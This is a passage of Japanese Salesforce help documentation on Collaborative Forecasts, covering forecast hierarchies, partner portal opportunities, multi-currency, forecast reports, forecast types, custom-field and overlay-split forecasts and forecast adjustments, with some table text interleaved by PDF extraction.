使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

コラボレーション売上予測の売上予測階層は、ネストした展開可能な売上予測
ユーザのリストです。これにより、会社内で売上予測を積み上げ集計する方法
と売上予測を表示および調整できるユーザが決まります。売上予測階層はロー
ル階層に基づいており、売上予測マネージャになるユーザを指定します。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

ロールに基づいて、売上予測階層に追加されたり、売上予測階層から削除され
たりします。階層内の位置も変更可能です。たとえば、直属の部下のいない営
業担当は自分の売上予測のみを表示できます。ただし、営業担当が営業マネー
ジャになると、その営業担当は売上予測マネージャとして売上予測階層に追加
されます。
売上予測マネージャとして指定されたユーザは、パートナーポータルユーザを
含め、売上予測階層のそのユーザより下のユーザの売上予測と商談を表示する
ことができます。売上予測マネージャは、直属の部下の売上予測を調整するこ
ともできます。調整を行ったマネージャと、階層でそのマネージャの上にいる
ユーザのみが、その調整を表示できます。
誰でもグラフを表示して、チームの売上予測階層を確認できるわけではありま
せん。売上予測階層について質問がある場合は、システム管理者または売上予
測マネージャに確認してください。

関連トピック:

コラボレーション売上予測での売上予測の調整
コラボレーション売上予測の使用に関するガイドライン

コラボレーション売上予測でのパートナーポータルユーザの商談

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パートナーポータルユーザはあなたの Salesforce 組織の外部的存在ですが、間接
的な販売チャネルを通じてあなたの組織の商品やサービスを販売します。パー
トナーポータルユーザは、ポータルを使用してSalesforceにログインします。パー
トナーは商談を作成でき、ユーザは商談をパートナーに割り当てることができ
ます。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

パートナーポータルユーザが作成する商談は、取引先所有者の売上予測に積み
上げることができます。売上予測に商談を積み上げるには、取引先所有者が売
上予測階層のユーザの売上予測マネージャである必要があります。次に例を示
します。
• Gordon Johnson は Acme というパートナー取引先を所有している。
• Gordon には Anne Smith という名前の Acme 取引先責任者がいる。
• Anne はパートナーポータルユーザである。
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• 売上予測階層で Anne は Gordon の部下である。
Anne が自分のポータルに商談を加えると、Gordon はそれらの商談を自分の売上予測で確認します。Gordon は
Anne の売上予測マネージャであるため、Anne の商談に基づいて売上予測金額を調整したり、Anne が目標に対
してどのように進んでいるかを確認したりできます。

関連トピック:

売上予測から商談の詳細を表示する場合のガイドライン

コラボレーション売上予測でマルチ通貨を使用する場合のガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

会社で売上予測とマルチ通貨を使用している場合、Salesforce システム管理者は
売上予測通貨を選択して売上予測種別を有効にします。売上予測通貨は、マス
タ通貨または各売上予測所有者の個人設定の通貨です。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

• コラボレーション売上予測を使用する場合、表示通貨を選択します。これに
はSalesforceで有効になっている任意の通貨を指定できます。通貨を変更する
には、売上予測ページの右上にあるドロップダウンリスト (Salesforce Classic) ま
たはギア (Lightning Experience) から別の通貨を選択します。

• 収益ベースの売上予測を使用する場合、通貨レートが変更されると、商談と
調整は、売上予測テーブルの値と共に変更後の値で積み上げ集計されます。

• 数量ベースの売上予測を使用する場合、通貨レートが変更されると、商談と
調整は、変更後の値で積み上げ集計されます。

• 変更された値を積み上げ集計する間、処理中であることを示すインジケータ
( ) が表示されます (Salesforce Classic のみ)。

• すべての売上予測期間 (過去、現在、未来) は、レートの変更によって変化し
ます。

• ユーザの個人設定の通貨に設定された通貨を無効化すると、ユーザの通貨は
マスタ通貨に再設定されます。

• 個人設定の通貨の設定を編集するには、個人情報を編集します。

関連トピック:

コラボレーション売上予測での売上予測の調整
コラボレーション売上予測の要素
売上予測種別間の変更
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売上予測レポートの使用に関するガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

売上予測を使用する
• 「売上予測を許可」

[レポート] タブを参照する
• 「レポート実行」

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

コラボレーション売上予測を使用する場合、売上予測レポートを最大限に活用
する方法に関するガイドラインを確認します。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

• 売上予測レポートを使用できるかどうかを確認するには、[レポート] タブに
移動して、[新規レポート] をクリックします。Salesforce システム管理者が売
上予測レポートタイプを置いたフォルダを選択します。このテーブルに記さ
れている項目またはレポートタイプ名が表示されていない場合は、システム
管理者に確認してください。

• 特定の売上予測種別を使用するレポートが実行されない場合は、その売上予
測種別が削除された可能性があります。システム管理者に確認してくださ
い。

• レポートには、レポート実行時の最新情報が含まれます。レポート実行時に
変更が進行中であった場合、レポートの金額と売上予測ページの金額が異な
る可能性があります。

• レポートに表示されるデータは、コラボレーション売上予測に表示できる内
容によって異なります。たとえば、売上予測マネージャは調整を確認できま
すが、同様のレポートを実行している売上予測マネージャ以外のユーザは調
整後の金額をレポートで確認することはできません。売上予測金額は、多く
のユーザの売上予測金額の積み上げ集計で構成されることがあるため、集計
項目を使用する場合にはレポート結果を詳しく調べてください。

表示方法レポート要素

売上予測データレポートを作成し、[所
有者: 氏名] を使用して検索条件を追加
します。特定の人の名前で絞り込みま
す。

特定のユーザの観点での売上予測概
要。

[所有者のみの金額] を売上予測データ
レポートに追加します。たとえば、そ
れぞれが 10,000 ドルの価値がある 2 つ
の商談を所有している場合、[所有者の
みの金額] は 20,000 ドルになります。数

調整なしの個人の商談 (収益ベース) の
合計金額。

量ベースの同じ情報を表示するには、
[所有者のみの数量] をレポートに追加
します。

[調整なしの金額] を売上予測データレ
ポートに追加します。たとえば、あな

個人が所有する商談 (収益ベース) およ
びその個人の部下の商談の調整なしの

たが所有するすべての商談の合計金額合計数量。部下には売上予測階層のそ
が 20,000 ドルであり、あなたの部下のの個人の下位にいる全員が含まれま
合計金額が 55,000 ドルである場合、[調
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表示方法レポート要素

整なしの金額] は 75,000 ドルになります。数量ベースの
同じ情報を表示するには、[調整なしの数量] をレポー
トに追加します。

す。この金額はレポートにのみ表示されます。

[マネージャによる調整なしの金額] を売上予測データ
レポートに追加します。たとえば、Anne の [調整なし

売上予測の所有者から見た売上予測の数値。これは、
所有者の商談 (収益ベース) とその部下の商談の合計

の金額] が 75,000 ドルであり、内訳は Anne 自身の商談金額です (売上予測所有者が所有者またはその部下の
である 20,000 ドルと、Anne の部下である Ben が所有す売上予測に行った調整を含む)。これには、売上予測
る商談の 55,000 ドルであるとします。Anne は、Ben の階層でその所有者より上位の売上予測マネージャに

よって行われる調整は含まれません。 合計金額 85,000 ドルを 65,000 ドルに調整しました。あ
なたが Anne の数値を 85,000 ドルから 100,000 ドルに調
整しても、[マネージャによる調整なしの金額] には
Anne に対する表示と同じように 85,000 ドルが表示され
ます (また、あなたは Anne のマネージャであるため、
Anne にはあなたの調整は表示されません)。あなたが
行った 100,000 ドルへの調整が含まれた金額を確認する
には、[売上予測金額] を調べます。数量ベースの同じ
情報を表示するには、[マネージャによる調整なしの数
量] をレポートに追加します。

[売上予測金額]を売上予測データレポートに追加しま
す。たとえば、あなたは売上予測マネージャであり、

売上予測マネージャの観点での収益売上予測、およ
びすべての売上予測の調整を含む所有者およびその
部下の商談の合計金額。 あなたの部下である売上予測マネージャがもう 1 人い

て、そのマネージャの [マネージャによる調整なしの
金額] の合計が 85,000 ドルであるとします。売上予測を
100,000 ドルに調整すると、[売上予測金額] は 100,000 ド
ルになります。数量ベースの同じ情報を表示するに
は、[数量ベースの売上予測]をレポートに追加します。

[調整あり] を売上予測データレポートに追加します。
たとえば、いずれかの部下の売上予測金額にマネー

誰の売上予測金額が調整されているか。

ジャが調整を行った場合、このチェックボックスがオ
ンになります。あなたの部下が、その部下の金額に調
整を加えると、このチェックボックスがオンになりま
す。ただし、「すべてのデータの参照」権限を持って
いなければ、売上予測マネージャがあなたの売上予測
金額に調整を加えても、このチェックボックスはオフ
のままになります。これは、あなたが売上予測マネー
ジャの調整情報に対するアクセス権を持っていないた
めです。また、[所有者による調整あり]も追加します。
売上予測ユーザがその売上予測を調整すると、この
チェックボックスがオンになります。

売上予測目標レポートを作成します。たとえば、
Salesforceシステム管理者がレポートタイプを設定する

売上予測の目標詳細。
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表示方法レポート要素

方法によって、目標所有者の氏名などの項目を含める
ことができます。次に、自分の名前で絞り込んで、自
分が作成した目標とそれらに関連する取引先および所
有者を表示できます。

履歴トレンドが関連する売上予測レポートを作成し、
所有者別に並び替えられた、月初めの [売上予測金額]

項目の値を月末の値と比較します。

以前の売上予測金額と比較した今日の売上予測金額。

売上予測レポートを作成するときに、[表示] メニュー
から [私の直属部下の <項目名>] を選択します。

直属部下のみの結果。

レポート結果の [売上予測種別] 項目を参照します。こ
の項目は、売上予測データレポートおよび目標レポー
トのデフォルトのページレイアウトに含まれます。

この結果の元となる売上予測種別。

関連トピック:

コラボレーション売上予測のカスタムレポートタイプ
コラボレーション売上予測でのカスタムレポートタイプの作成

売上予測の表示と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

コラボレーション売上予測の情報の表示と編集に役立ついくつかの基本タスク
について説明します。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

売上予測の日付範囲表示の変更
[コラボレーション売上予測] 積み上げ集計テーブルには、コラボレーション
売上予測設定に基づいて、各月または各四半期か、複数月または複数四半期
にわたる売上予測の金額が表示されます。Salesforce システム管理者がコラボ
レーション売上予測を設定すると、デフォルトの売上予測日付範囲表示が選
択されます。たとえば、デフォルトが現時点から 3 か月である場合がありま
す。このデフォルトを使用するか、自分の売上予測に表示される日付範囲を
変更します。
売上予測種別間の変更
コラボレーション売上予測で複数の売上予測種別を有効にしている場合、売
上予測で使用する種別を選択します。
売上予測から商談の詳細を表示する場合のガイドライン
コラボレーション売上予測で自分または部下の売上予測の詳細ページから、
すべての部下または 1 人の部下の売上予測を構成する商談を、月または月の
範囲で表示できます。
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売上予測の更新に関するガイドライン
コラボレーション売上予測の売上予測金額は、特定のアクションで変更される可能性があります。たとえ
ば、売上予測ページを表示しているときに、部下が関連する商談を編集したり、部下のさらに部下の売上
予測を調整したりすることがあります。また、あなた自身があなたのページで部下の売上予測を調整する
場合もあります。これらの変更を表示するには、売上予測ページを更新します。

関連トピック:

セールス機能: Lightning Experience で使用できない機能とその新機能

売上予測の日付範囲表示の変更

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

売上予測を使用する
• 「売上予測を許可」

[コラボレーション売上予測]積み上げ集計テーブルには、コラボレーション売上
予測設定に基づいて、各月または各四半期か、複数月または複数四半期にわた
る売上予測の金額が表示されます。Salesforce システム管理者がコラボレーショ
ン売上予測を設定すると、デフォルトの売上予測日付範囲表示が選択されます。
たとえば、デフォルトが現時点から 3 か月である場合があります。このデフォ
ルトを使用するか、自分の売上予測に表示される日付範囲を変更します。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

選択した範囲は、現在の月または四半期と相対的になります。たとえば、1 月
に、開始月として 1 月、終了月として 4 月を選択するとします。2 月になると、
日付範囲は 2 月から 5 月というように表示されます。選択した日付範囲は、別の
範囲を選択するまで選択されたままになります。
1. [売上予測] タブをクリックします。
2. Lightning Experienceを使用している場合は、売上予測ページの右上にあるギア

をクリックします。Salesforce Classicを使用している場合は、積み上げ集計テー
ブルの [変更] をクリックします。

3. 開始期間と終了期間を選択します。
4. 変更内容を保存します。

関連トピック:

月別売上予測と四半期別売上予測
コラボレーション売上予測の概念
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売上予測種別間の変更

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

コラボレーション売上予測で複数の売上予測種別を有効にしている場合、売上
予測で使用する種別を選択します。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

Lightning Experience での売上予測種別間の変更
Lightning Experience を使用して、使用する売上予測種別を選択します。
Salesforce Classic での売上予測種別間の変更
Salesforce Classic を使用して、使用する売上予測種別を選択します。

関連トピック:

コラボレーション売上予測の要素
収益売上予測単位と数量売上予測単位
コラボレーション売上予測の概念
コラボレーション売上予測でマルチ通貨を使用する場合のガイドライン
コラボレーション売上予測での売上予測の調整
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Lightning Experience での売上予測種別間の変更

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

売上予測を使用する
• 「売上予測を許可」

Lightning Experience を使用して、使用する売上予測種別を選択します。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

1. 売上予測ページの右上にあるギアをクリックします。
2. 売上予測種別を選択します。
3. マルチ通貨が有効化されている場合は、表示通貨を選択します。
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Salesforce Classic での売上予測種別間の変更

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

売上予測を使用する
• 「売上予測を許可」

Salesforce Classic を使用して、使用する売上予測種別を選択します。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

1. 通貨種別または単位の売上予測名の横にある をクリックします。
2. [収益] または [数量 (単位)] を選択します。
3. [収益] を選択したときにマルチ通貨が有効化されている場合は、表示通貨を

選択します。[通貨] で [通貨の変更] をクリックします。
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売上予測から商談の詳細を表示する場合のガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

コラボレーション売上予測で自分または部下の売上予測の詳細ページから、す
べての部下または 1 人の部下の売上予測を構成する商談を、月または月の範囲
で表示できます。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

• 営業チームの売上予測が商品ファミリに基づく場合、商品ファミリごとに自
分自身または部下の商談を表示できます。積み上げ集計テーブルのセルを選
択すると、そのセルに関連する商談がページ下部のリストに表示されます。
商談は、列ヘッダー別に並び替えできます。

• 1 つの商品ファミリについて部下の商談を表示するには、部下の名前の横に
ある をクリックして商品ファミリ行を表示し、商品ファミリ名をクリッ
クします。

• 商談の分割を参照するには、商談の分割率の上にマウスポインタを置き、
アイコンをクリックします (Salesforce Classicのみ)。商談分割の詳細ウィンドウ
に、選択した売上予測セルに積み上げ集計された分割が太字で表示されま
す。選択した売上予測セルに積み上げ集計されなかった商談の分割は、灰色
で表示されます。商談所有者の 1 つの 100% 分割のみを含む商談は分割の詳細
が表示されません。

関連トピック:

コラボレーション売上予測でのパートナーポータルユーザの商談
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売上予測の更新に関するガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

コラボレーション売上予測の売上予測金額は、特定のアクションで変更される
可能性があります。たとえば、売上予測ページを表示しているときに、部下が
関連する商談を編集したり、部下のさらに部下の売上予測を調整したりするこ
とがあります。また、あなた自身があなたのページで部下の売上予測を調整す
る場合もあります。これらの変更を表示するには、売上予測ページを更新しま
す。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

積み上げ集計テーブルで選択した売上予測について商談の更新や売上予測の調
整が行われた場合、そのことを通知します。
• 選択された売上予測に処理中の調整がある場合 (あなた自身または部下の売

上予測)、その売上予測の横に処理インジケータ ( ) が表示されます (Salesforce

Classic のみ)。
• 選択された売上予測の関連する商談が更新されると、商談リストのヘッダー

に処理インジケータが表示されます。
• 商談リストのヘッダーに 変更の処理中 というメッセージが表示されます。
変更を表示するには、[更新] をクリックします。

関連トピック:

コラボレーション売上予測での売上予測の調整
コラボレーション売上予測での調整消去
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売上予測種別

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

コラボレーション売上予測で使用できる売上予測種別について説明します。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

収益売上予測単位と数量売上予測単位
コラボレーション売上予測の収益または数量の売上予測を計算します。
カスタム商談項目の売上予測
コラボレーション売上予測では、標準の商談の [金額] 項目を超える収益を
追跡および予測できます。
オーバーレイ分割の売上予測
商談の成立に貢献したけれども、直接担当していない営業チームメンバーの
収益をコラボレーション売上予測で追跡します。

関連トピック:

セールス機能: Lightning Experience で使用できない機能とその新機能

収益売上予測単位と数量売上予測単位

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

コラボレーション売上予測の収益または数量の売上予測を計算します。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

• 商談数量の売上予測は商談の [数量] 項目に基づいて積み上げ集計されるの
に対して、商談収益の売上予測は商談の [金額] 項目に基づいて積み上げ集
計されます。

• 商談分割の収益売上予測の場合、商談の [金額] 項目と営業担当者に割り当
てられた分割率に基づいて積み上げ集計されます。

• カスタム商談項目の売上予測の場合、カスタム項目の金額に基づいて積み上
げ集計されます。

• 商品ファミリの収益売上予測の場合、その商品ファミリのすべての商談品目
の [合計金額] 項目の総和に基づいて積み上げ集計されます。

• 商品ファミリの数量売上予測の場合、その商品ファミリのすべての商談品目
の [数量] 項目に基づいて積み上げ集計されます。

• 商談品目を持たない商談か、指定された商品ファミリが含まれない品目を持
つ商談の場合、合計は [売上予測] ページの [分類されていない商品] 行に集計
されます。

次に例を示します。
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• 営業部門の副部長が米ドルに基づいた目標金額を設定したため、営業マネージャは収益を使用して売上予
測を行う必要があります。

• 10,000 個の販売促進商品を販売するインセンティブがあるため、営業担当は数量を使用して売上予測を行う
必要があります。

商談や商品ファミリなど、同じデータソースの収益および数量を売上予測する場合、Salesforceシステム管理者
はそれぞれに売上予測種別を作成し、売上予測ページで売上予測種別間を切り替えることができます。

関連トピック:

売上予測種別間の変更
コラボレーション売上予測の概念
コラボレーション売上予測でマルチ通貨を使用する場合のガイドライン
コラボレーション売上予測での売上予測の調整

カスタム商談項目の売上予測

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Enterprise Edition、および
Developer Edition

コラボレーション売上予測では、標準の商談の [金額]項目を超える収益を追跡
および予測できます。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

商談のカスタム通貨項目で売上予測できます。たとえば、営業チームが[余白]、
[月間経常収益]、[年間契約金額]、または会社が必要とするその他の通貨項目な
どのカスタム項目を使用する場合があります。Salesforce システム管理者はカス
タム項目に基づいて売上予測を設定できます。その後、営業マネージャはこの
売上予測を売上予測ページで表示できます。
カスタム項目で商談の分割を使用する場合、売上予測には分割も取り込まれま
す。カスタム項目の売上予測は、単独で使用することも、商談の [金額]項目に
基づく商談収益の売上予測など、その他の売上予測と共に使用することもできます。システム管理者は、標準
[期待収益] 項目の売上予測を設定することもできます。

メモ: 売上予測を参照している売上予測マネージャまたは営業担当がカスタム商談項目にアクセスできな
い場合、売上予測金額は表示できますが、商談リストのカスタム項目値は表示できません。

年間契約額の売上予測: シンプルなカスタム項目の売上予測
次に、営業担当の Anna Bressan が所有する商談を示します。Anna には多数の複数年案件があるため、カスタム
[年間契約金額] 項目で案件から得る各年の収益を追跡します。
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• Anna はこの商談を所有しています (1)。
• この項目には、カスタム [Annual Contract Value (年間契約額)] が表示されています (2)。
Anna のすべての商談で [Annual Contract Value (年間契約額)] 項目が彼女の年間契約額の売上予測に積み上げ集計さ
れ、Salesforce で設定したその他の売上予測と一緒に売上予測ページに表示されます。

• この領域には、Anna の年間契約額の売上予測が表示されています (1)。
• この売上予測には、カスタム項目と同じ名前が付きます (2)。
• [売上予測金額] は、Anna の売上予測に積み上げ集計される [年間契約金額] 項目の値です (3)。
• この領域には、Anna の「Acme - Premium Support」(Acme – プレミアムサポート) 商談の [年間契約金額]項目の

売上予測金額が表示されています (4)。

メモ: カスタム項目売上予測を有効にするには、Salesforceシステム管理者がカスタム項目の商談分割を有
効にする必要があります。ただし、商談所有者は項目の 100% 分割を自動的に受け取るため、項目での分
割を会社で使用しない場合、積み上げ集計は分割がない場合と同じになります。
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商談の分割を使用したカスタム項目の売上予測
カスタム項目で商談分割を使用する場合、カスタム項目の売上予測ではこれらの分割が積み上げ集計されま
す。たとえば、次に営業担当の Anna が所有する商談を示します。この商談には、会社の全体的な年間契約額
の増加を担当する営業担当技術者 Kevin の [Annual Contract Value (年間契約額)] 項目に対するカスタム分割が含ま
れています。この場合、Kevin の 25% 分割は、Kevin の年間契約額の売上予測に積み上げ集計されます。

• Anna はこの商談を所有しています (1)。
• [Annual Contract Value (年間契約額)] というカスタム通貨項目を含む商談 (2)。
• Kevin は [Annual Contract Value (年間契約額)] 項目に対して 25% 分割を受け取ります (3)。
Kevin のマネージャは、年間契約額の売上予測を参照し、Kevin が貢献している案件や、Kevin の営業担当技術者
チームが取り組んでいる他の商談すべてを確認できます。Kevin のマネージャは、Kevin が担当するすべての商
談で 25% のクレジットを得ていることと、最善達成予測の売上予測の合計が $1,026,000 になることを確認でき
ます。Kevin のマネージャが、案件が最終的にはより高い金額で成立すると予測する場合、マネージャは最善
達成予測の売上予測金額を上向きに調整できます。Anna のマネージャは、売上予測で Anna の 75% 分割を確認
できます。
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• この領域には、Kevin の年間契約額の分割の売上予測が表示されています (1)。
• この領域には、Anna の「Acme – Premium Support」(Acme – プレミアムサポート) 商談に対する Kevin の 25% 分

割が表示されています (2)。

標準の [期待収益] 項目からの売上予測

標準 [期待収益]項目は、[金額]項目に示された金額より収益が多くまたは少なくなる可能性が高い商談に役
立ちます。[期待収益] 項目を使用する場合、システム管理者はその売上予測を設定できます。その後、[期待
収益] の売上予測が、カスタム項目の売上予測と同じようにドロップダウンリストに表示されます。

オーバーレイ分割の売上予測

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Enterprise Edition、および
Developer Edition

商談の成立に貢献したけれども、直接担当していない営業チームメンバーの収
益をコラボレーション売上予測で追跡します。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

商談を直接担当したチームメンバーにクレジットを与える収益分割を使用され
ている営業マネージャもいるでしょう。商談のクレジットをより柔軟に割り当
てることができるように、オーバーレイ分割を使用できます。自分と他のチー
ムメンバーは、商談に関わったオーバーレイ営業ロールにクレジットを割り当
てることができます。オーバーレイ分割は、商談金額の任意の割合になるよう
に設定でき、100% を超えることもできます。たとえば、営業チームには、案件
成立に貢献したけれども、直接担当していない営業担当技術者、製品の専門家、
またはパートナーが含まれることがあります。
オーバーレイ売上予測を使用して、オーバーレイ分割からの収益を予測できます。売上予測金額は、商談の
[金額] 項目とオーバーレイチームメンバーの分割率に基づいて、ロール階層により積み上げ集計されます。
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次に、営業担当の Scott が所有する商談を示します。この商談には、案件を成立させるために Scott と共に取り
組んでいる営業担当技術者 Owen のオーバーレイ分割が含まれています。商談の [金額] 項目は、Scott の商談
収益の売上予測に集計されます。

• Scott はこの商談を所有しています (1)。
• Owen は 50% 分割を受け取ります (2)。
Owen のマネージャは、オーバーレイ売上予測を参照し、Owen が貢献している案件や、Owen の営業担当技術
者チームが取り組んでいる他の商談すべてを確認することもできます。Owen のマネージャは、Owen がこの案
件で 50% のクレジットを得ていること、この案件に貢献していること、および最善達成予測の売上予測の合計
が $948,000 になることを確認できます。Owen のマネージャは、案件がより高い金額で成立すると予測する場
合、最善達成予測の売上予測金額を調整できます。
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• オーバーレイ分割の売上予測が表示されている、Salesforce Classic の [売上予測種別] メニュー (1)

• Owen の 50% 分割 (2)

• 2013 会計年度第 4 四半期の最善達成予測の売上予測に対する Owen の $198,000 の貢献 (3)

• 2013 会計年度第 4 四半期の最善達成予測の合計金額 (4)

売上予測の調整

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

現在の売上予測と将来の実績との差を予想するコラボレーション売上予測ユー
ザは、売上予測の積み上げ集計金額を変更できます。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

コラボレーション売上予測での売上予測の調整
最善達成予測および達成予測の売上予測金額に調整を加えます。その後、必
要に応じて調整を変更または削除します。
売上予測の調整
コラボレーション売上予測で最善達成予測または達成予測の売上予測金額に
調整を加えるには、売上予測テーブルの該当のセルをクリックして、新しい
金額を入力します。
売上予測の調整の表示と編集
コラボレーション売上予測の売上予測調整について、調整を行ったユーザ、
調整金額、および元の総積み上げ (調整前の売上予測金額) などの詳細を表示
します。必要に応じて、自分で行った調整を編集します。
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コラボレーション売上予測での調整消去
一部の売上予測とカスタム会計年度の設定を変更すると、調整を消去できます。売上予測の基盤となるデー
タには影響しません。

関連トピック:

セールス機能: Lightning Experience で使用できない機能とその新機能

コラボレーション売上予測での売上予測の調整

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

最善達成予測および達成予測の売上予測金額に調整を加えます。その後、必要
に応じて調整を変更または削除します。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

売上予測を調整するには、調整が有効になっている必要があります。Salesforce

システム管理者は、マネージャが部下の売上予測を調整すること、すべてのコ
ラボレーション売上予測ユーザが各自の売上予測を調整すること、またはこの
両方を有効にすることができます。
調整は、売上予測期間の終了時に売上予測の商談によってもたらされると見込
まれる最終金額についての、売上予測マネージャまたは営業担当の判断を示し
ます。売上予測マネージャは自分または部下の売上予測の調整が必要になる場
合があります。たとえば、一部の従業員が、商談に金額を割り当てるときに過
度に楽観的または保守的になる傾向があるとわかっている場合です。また、営
業担当は、商談金額が過小または過大評価されていると感じたときに、各自の
売上予測を調整できます。売上予測マネージャは、商談総額のみを含む売上予
測と、商談チームの他の人が調整した売上予測を調整できます。調整によって、
基本的な総積み上げ集計金額が変更されることはありません。詳細情報が追加
されるのみです。複数の売上予測種別を有効にしている場合、売上予測種別ご
とに別々の調整が保持されます。
売上予測マネージャは、自分の達成予測と最善達成予測を調整できるほか、売上予測階層の 1 つ下のレベルの
部下の売上予測を調整できます。また、売上予測階層で自分より下の全レベルの部下が行った調整を表示でき
